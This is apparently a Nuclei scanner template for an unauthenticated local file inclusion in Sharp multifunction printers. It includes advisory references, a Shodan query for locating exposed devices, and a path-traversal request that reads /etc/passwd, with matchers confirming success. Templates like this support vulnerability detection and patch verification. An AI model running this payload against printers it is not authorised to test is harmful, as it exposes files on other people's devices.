sharp-printers-lfi: Sharp Multifunction Printers - Local File Inclusion

id: sharp-printers-lfi

info:
  name: Sharp Multifunction Printers - Local File Inclusion
  author: gy741
  severity: high
  description: |
    It was observed that Sharp printers are vulnerable to a local file inclusion without authentication. Any attacker can read any file located in the printer.
  remediation: |
    Apply all relevant security patches and product upgrades.
  reference:
    - https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html#pre-auth-lfi
    - https://jvn.jp/en/vu/JVNVU93051062/index.html
    - https://global.sharp/products/copier/info/info_security_2024-05.html
  classification:
    cpe: cpe:2.3:o:sharp:mx-3050v_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sharp
    product: mx-3050v_firmware
    shodan-query: "Set-Cookie: MFPSESSIONID="
  tags: sharp,printer,lfi,intrusive,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/installed_emanual_down.html?path=/manual/../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/octet-stream; name=passwd"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c2215182521a1c424e8045b17000c7b533fe574292e5b297f6938045f37638a4022100d721c0380f96f9c974bbeebcd58a570d552f29bcac7b4179c9261b8072aac4c5:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.